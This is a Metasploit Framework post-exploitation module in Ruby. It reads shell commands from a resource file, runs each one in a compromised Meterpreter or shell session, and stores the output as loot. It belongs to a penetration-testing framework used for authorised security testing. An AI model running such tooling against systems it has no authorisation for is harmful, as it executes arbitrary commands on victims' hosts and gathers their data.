metasploit-framework/modules/post/multi/gather/multi_command.rb

##
# $Id$
##

##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'

class Metasploit3 < Msf::Post

	include Msf::Post::Common

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'Multi Gather Run Shell Command Resource File',
				'Description'   => %q{ This module will read shell commands from a resource file and
					execute the commands in the speciffied Meterpreter or shell session.},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
				'Version'       => '$Revision$',
				'Platform'      => [ 'windows', 'linux', 'bsd', 'unix', 'osx' ],
				'SessionTypes'  => [ 'meterpreter','shell' ]
			))
		register_options(
			[
				OptBool.new('VERBOSE', [ false, 'Print the output of each command.', false]),
				OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil])

			], self.class)
	end

	# Run Method for when run command is issued
	def run
		session_type = session.type
		print_status("Running module against #{sysinfo['Computer']}")
		if not ::File.exists?(datastore['RESOURCE'])
			raise "Resource File does not exists!"
		else
			::File.open(datastore['RESOURCE'], "br").each_line do |cmd|
				next if cmd.strip.length < 1
				next if cmd[0,1] == "#"
				begin
					tmpout = "\n"
					tmpout << "*****************************************\n"
					tmpout << "      Output of #{cmd}\n"
					tmpout << "*****************************************\n"
					print_status "Running command #{cmd.chomp}"
					if session_type =~ /meterpreter/
						tmpout << cmd_exec(cmd.chomp)
					elsif session_type =~ /shell/
						tmpout << session.shell_command_token(cmd.chomp).chomp
					end
					print_status tmpout if datastore['VERBOSE']
					command_log = store_loot("host.command", "text/plain", session,tmpout ,
						"#{cmd.gsub(/\.|\/|\s/,"_")}.txt", "Command Output \'#{cmd.chomp}\'")
					print_status("Command output saved to: #{command_log}")
				rescue ::Exception => e
					print_status("Error Running Command #{cmd.chomp}: #{e.class} #{e}")
				end
			end
		end
	end
end